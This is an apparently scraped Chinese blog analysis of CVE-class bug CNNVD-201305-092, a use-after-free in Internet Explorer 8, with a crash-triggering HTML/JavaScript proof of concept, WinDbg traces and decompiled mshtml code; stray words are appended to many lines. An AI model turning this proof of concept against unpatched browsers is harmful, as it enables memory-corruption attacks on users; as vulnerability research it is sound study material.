[CNNVD]Microsoft Internet Explorer 8 遠程執行代碼漏洞(CNNVD-201305-092)html
Microsoft Internet Explorer是美國微軟(Microsoft)公司發佈的Windows操做系統中默認捆綁的Web瀏覽器。
Internet Explorer 訪問還沒有正確初始化或已被刪除的對象的方式中存在一個遠程執行代碼漏洞,該漏洞可能以一種攻擊者能夠在當前用戶的上下文中執行任意代碼的方式損壞內存。攻 擊者可能擁有一個特製的網站,旨在利用此漏洞經過IE瀏覽器,而後誘使用戶查看該網站。瀏覽器
POC:安全
<!doctype html> <!-- required --> <HTML> <head> </head> <body> <ttttt:whatever id="myanim"/><!-- required format --> <script> f0=document.createElement('span'); document.body.appendChild(f0); f1=document.createElement('span'); document.body.appendChild(f1); f2=document.createElement('span'); document.body.appendChild(f2); document.body.contentEditable="true"; f2.appendChild(document.createElement('datalist')); //has to be a data list f1.appendChild(document.createElement('table')); //has to be a table try{ f0.offsetParent=null; //required }catch(e){ } f2.innerHTML=""; //required f0.appendChild(document.createElement('hr')); //required f1.innerHTML=""; //required CollectGarbage(); </script> </body> </html>
打開POC後形成的crash以下,已開啓頁堆和堆分配記錄。app
(4dc.8f0): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=66c25100 ebx=17a72fb0 ecx=09106fc8 edx=00000000 esi=045fedc8 edi=00000000 eip=668ac400 esp=045fed9c ebp=045fedb4 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246 mshtml!CElement::Doc: 668ac400 8b01 mov eax,dword ptr [ecx] ds:0023:09106fc8=????????
看一下附近的彙編,以下所示。是很明顯的對象訪問,看前三句就知道是去對象虛表,而後索引虛函數去調用。crash出如今ecx函數
1:017> u 668ac400 mshtml!CElement::Doc: 668ac400 8b01 mov eax,dword ptr [ecx] 668ac402 8b5070 mov edx,dword ptr [eax+70h] 668ac405 ffd2 call edx 668ac407 8b400c mov eax,dword ptr [eax+0Ch] 668ac40a c3 ret 668ac40b 33c0 xor eax,eax 668ac40d e9f7aeffff jmp mshtml!CAttrArray::PrivateFind+0x8f (668a7309) 668ac412 90 nop
咱們看下ecx,以下所示,ecx是不可訪的。那麼我只須要關注一下ecx究竟是什麼就能夠知道問題的關鍵了。網站
1:017> dc ecx 09106fc8 ???????? ???????? ???????? ???????? ???????????????? 09106fd8 ???????? ???????? ???????? ???????? ???????????????? 09106fe8 ???????? ???????? ???????? ???????? ???????????????? 09106ff8 ???????? ???????? ???????? ???????? ???????????????? 09107008 ???????? ???????? ???????? ???????? ???????????????? 09107018 ???????? ???????? ???????? ???????? ???????????????? 09107028 ???????? ???????? ???????? ???????? ???????????????? 09107038 ???????? ???????? ???????? ???????? ????????????????
看下ecx是否屬於堆,以下所示,果真是屬於堆的,並且根據堆的分配回溯這是已經釋放的堆,明顯的UAF漏洞。咱們具體看下這是什麼對象,ui
CGenericElement::`vector deleting destructor'
看來是CGenericElement對象的問題this
1:018> !heap -p -a ecx address 097ecfc8 found in _DPH_HEAP_ROOT @ 12e1000 in free-ed allocation ( DPH_HEAP_BLOCK: VirtAddr VirtSize) 9771270: 97ec000 2000 770290b2 verifier!AVrfDebugPageHeapFree+0x000000c2 76f15674 ntdll!RtlDebugFreeHeap+0x0000002f 76ed7aca ntdll!RtlpFreeHeap+0x0000005d 76ea2d68 ntdll!RtlFreeHeap+0x00000142 7671f1ac kernel32!HeapFree+0x00000014 6793b9a8 mshtml!CGenericElement::`vector deleting destructor'+0x0000003d 67ab7dd0 mshtml!CBase::SubRelease+0x00000022 67aac482 mshtml!CElement::PrivateRelease+0x0000002a 67aab034 mshtml!PlainRelease+0x00000025 67b0669d mshtml!PlainTrackerRelease+0x00000014 687da6f1 jscript!VAR::Clear+0x0000005f 687f6d66 jscript!GcContext::Reclaim+0x000000b6 687f4309 jscript!GcContext::CollectCore+0x00000123 68858572 jscript!JsCollectGarbage+0x0000001d 687e74ac jscript!NameTbl::InvokeInternal+0x00000141 687e4ea4 jscript!VAR::InvokeByDispID+0x0000017f 687ee3e7 jscript!CScriptRuntime::Run+0x00002b80 687e5c9d jscript!ScrFncObj::CallWithFrameOnStack+0x000000ce 687e5bfb jscript!ScrFncObj::Call+0x0000008d 687e5e11 jscript!CSession::Execute+0x0000015f 687e612a jscript!COleScript::ExecutePendingScripts+0x000001bd 687ec2d9 jscript!COleScript::ParseScriptTextCore+0x000002a4 687ec0f1 jscript!COleScript::ParseScriptText+0x00000030 67a668c7 mshtml!CScriptCollection::ParseScriptText+0x00000218 67a666bf mshtml!CScriptElement::CommitCode+0x000003ae 67a66c35 mshtml!CScriptElement::Execute+0x000000c6 67a482b5 mshtml!CHtmParse::Execute+0x0000004a 67a277cf mshtml!CHtmPost::Broadcast+0x0000000f 67a27f36 mshtml!CHtmPost::Exec+0x000005f7 67a28a99 mshtml!CHtmPost::Run+0x00000015 67a289fd mshtml!PostManExecute+0x000001fb 67a27c66 mshtml!PostManResume+0x000000f7
爲了驗證咱們的猜想,咱們來看下這個發生UAF的對象是怎麼分配的。咱們先對這個對象的析構函數下斷,操做以下。spa
從新加載進程,別忘了設置.childdbg 1。每次運行都要從新設置感受好煩,不知道怎麼設置保存下來。斷在以下所示位置操作系統
咱們來看一下堆的分配狀況
1:018> dc esp 0478b104 00000000 0478b118 0478b120 17c0cff0 ......x. .x..... 0478b114 0478b1ac 00000000 00000000 04780000 ..x...........x. 0478b124 0478b268 1043ee18 00000000 00000004 h.x...C......... 0478b134 0478b168 68660521 00000000 00000000 h.x.!.fh........ 0478b144 00000000 92627e19 0ef3eff0 0ee52ff0 .....~b....../.. 0478b154 0478b1ac 0478b148 0478b1bc 686b4575 ..x.H.x...x.uEkh 0478b164 00000000 0478b184 686a9379 17c0cff0 ......x.y.jh.... 0478b174 00000000 00000000 00000006 00000000 ................ 1:018> !heap -p -a 17c0cff0 address 17c0cff0 found in _DPH_HEAP_ROOT @ 1161000 in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize) 18263618: 17c0cff0 c - 17c0c000 2000 mstime!MMBaseBvr::TEBvr::`vftable' 737e8e89 verifier!AVrfDebugPageHeapAllocate+0x00000229 77954ea6 ntdll!RtlDebugAllocateHeap+0x00000030 77917d96 ntdll!RtlpAllocateHeap+0x000000c4 778e34ca ntdll!RtlAllocateHeap+0x0000023a 6864137f mstime!ATL_malloc+0x00000016 6865f084 mstime!MMBaseBvr::Init+0x00000051 68665a60 mstime!MMTimeline::Init+0x00000071 6865d07a mstime!CTIMEElementBase::InitTimeline+0x000000aa 68656c68 mstime!CTIMEBodyElement::InitTimeline+0x0000001a 6865d1b1 mstime!CTIMEElementBase::OnPropertiesLoaded+0x00000018 6869bc4e mstime!CBaseBvr::Load+0x0000000e 6865de26 mstime!CTIMEElementBase::Load+0x0000002d 6865778d mstime!CTIMEBodyElement::Load+0x0000002d 66974892 mshtml!CPeerHolder::InitAttributes+0x000000a9 668675d0 mshtml!CPeerHolder::AttachPeer+0x000000b8 668674b4 mshtml!CPeerHolder::Create+0x00000059 6671fb66 mshtml!CPeerFactory::AttachPeer+0x0000000f 668745d9 mshtml!CDoc::AttachPeer+0x0000013c 668746e5 mshtml!CElement::addBehavior+0x000000d9 6864ec3f mstime!AddBodyBehavior+0x000000a6 686583ea mstime!CTIMEElementBase::Init+0x00000207 6866a0b6 mstime!CTIMEAnimationBase::Init+0x0000002d 668675a3 mshtml!CPeerHolder::AttachPeer+0x00000093 668674b4 mshtml!CPeerHolder::Create+0x00000059 6686a1c5 mshtml!CPeerFactoryUrl::AttachPeer+0x00000029 66a5fc74 mshtml!CPeerFactoryUrl::AttachPeer+0x00000012 668745d9 mshtml!CDoc::AttachPeer+0x0000013c 66a3deb5 mshtml!CElement::EnsureIdentityPeer+0x00000044 66986ca6 mshtml!CHtmPost::Exec+0x00000460 66828a99 mshtml!CHtmPost::Run+0x00000015 668289fd mshtml!PostManExecute+0x000001fb 66827c66 mshtml!PostManResume+0x000000f7
到這裏咱們對於這個對象的分配和重利用都摸清楚了。可是仍是不清楚漏洞爲什麼會觸發,接下來從poc的解析入手來分析一下爲何會觸發這個漏洞。首先調用createElement方法建立一個元素,這個函數只要是接觸過js的都確定用到過,可是查看他的C++實現仍是第一次。首先要對mshtml加載符號表。在IDA中搜索函數createElement就能夠獲得下面的結果,能夠看到CDocument::createElement,這個CDocument就是js中的document對象。
__int32 __stdcall CDocument::createElement(CDocument *this, BSTR a2, struct IHTMLElement **a3) { CBase *v3; // ecx@1 __int32 v4; // edi@1 *a3 = 0; v4 = CDocument::CreateElementHelper(a2);//看來主要功能都在這裏實現 if ( !v4 )//錯誤處理 { v4 = (*(int (__stdcall **)(_DWORD, GUID *, struct IHTMLElement **))(v0 + 216))(0, &IID_IHTMLElement, a3); (*(void (__stdcall **)(_DWORD))(v0 + 224))(0); } return CBase::SetErrorInfo(v3, v4); }
CDocument::CreateElementHelper()的代碼以下
int __userpurge CDocument::CreateElementHelper@<eax>(int a1@<eax>, CDocument *a2@<ecx>, CDocument *a3@<edi>, BSTR a4) { int v4; // esi@1 struct CDoc *v5; // eax@2 CTLSScriptSourceInfo *v6; // ecx@2 UINT v7; // ST0C_4@2 struct CMarkup *v8; // eax@2 int v9; // esi@2 CTLSScriptSourceInfo *v10; // ecx@2 char v12; // [sp+7h] [bp-1h]@2 v4 = a1; *(_DWORD *)a1 = 0; if ( a4 ) { CDocument::Doc(a2); v5 = CDocument::Markup(a3); CTLSScriptSourceInfo::CTLSScriptSourceInfo(v6, (struct CBase *)&v12, a3, v5); v7 = SysStringLen(a4); v8 = CDocument::Markup(a3); v9 = CMarkup::CreateElement(v8, v4, a4, v7); CTLSScriptSourceInfo::~CTLSScriptSourceInfo(v10); } else { v9 = -2147024809; } return v9; }
接着跟進 CMarkup::CreateElement()
public: long __stdcall CDocument::createElement(unsigned short *, struct IHTMLElement * *) ?createElement@CDocument@@QAGJPAGPAPAUIHTMLElement@@@Z proc near var_4= dword ptr -4 arg_0= dword ptr 8 arg_4= dword ptr 0Ch arg_8= dword ptr 10h mov edi, edi push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push ebx mov ebx, [ebp+arg_8] and dword ptr [ebx], 0 push esi push edi push [ebp+arg_4] ; BSTR mov edi, [ebp+arg_0] lea eax, [ebp+var_4] call ?CreateElementHelper@CDocument@@QAEJPAGPAPAVCElement@@@Z ; CDocument::CreateElementHelper(ushort *,CElement * *) mov edi, eax test edi, edi jnz short loc_74D21DF2
再跟進CreateElement
.text:74D64BCC movzx eax, byte ptr [edi+1] .text:74D64BD0 shl eax, 4 .text:74D64BD3 add eax, offset ?g_atagdesc@@3QBVCTagDesc@@B ; CTagDesc const * const g_atagdesc .text:74D64BD8 jz loc_74EB9A91 .text:74D64BDE mov eax, [eax+8] .text:74D64BE1 lea ecx, [ebp+arg_8] .text:74D64BE4 push ecx .text:74D64BE5 push edx .text:74D64BE6 push edi .text:74D64BE7 call eax
就是說CDocument::createElement這個函數會根據不一樣的建立目標調用不一樣的建立函數,poc中js是這麼寫的
f0=document.createElement('span');
那麼CDocument::createElement調用的也就是CSpanElement::CreateElement函數了。咱們在IDA中找一下這個函數
signed int __stdcall CSpanElement::CreateElement(struct CHtmTag *a1, struct CDoc *a2, struct CElement **a3) { LPVOID v3; // esi@1 struct CElement *v4; // eax@2 v3 = HeapAlloc(g_hProcessHeap, 8u, 0x28u); if ( v3 ) { CElement::CElement(91, a2); *(_DWORD *)v3 = &CSpanElement::`vftable'; v4 = (struct CElement *)v3; } else { v4 = 0; } *a3 = v4; return v4 != 0 ? 0 : -2147024882; }
這裏能夠看到分配了一塊堆內存
int __userpurge CElement::CElement@<eax>(int a1@<eax>, char a2, int a3) { int v3; // ebx@1 int v4; // edi@1 CElement *v5; // ecx@1 v3 = a3; v4 = a1; CBase::CBase(); *(_DWORD *)(v4 + 36) = 0; *(_DWORD *)v4 = &CElement::`vftable'; (*(void (__thiscall **)(int))(*(_DWORD *)v3 + 112))(v3); CElement::ReplaceSecurityContext(v5); *(_DWORD *)(v3 + 8) += 8; _IncrementObjectCount(); *(_DWORD *)(v4 + 28) &= 0xFFFBFFFF; *(_BYTE *)(v4 + 32) &= 0xFEu; *(_BYTE *)(v4 + 24) = a2; return v4; }
咱們能夠在這裏學到:每一個DOM元素建立時都會通過CElement::CElement函數來初始化,若是想攔截元素建立就對這裏下斷,由於這裏是元素建立的必經之路。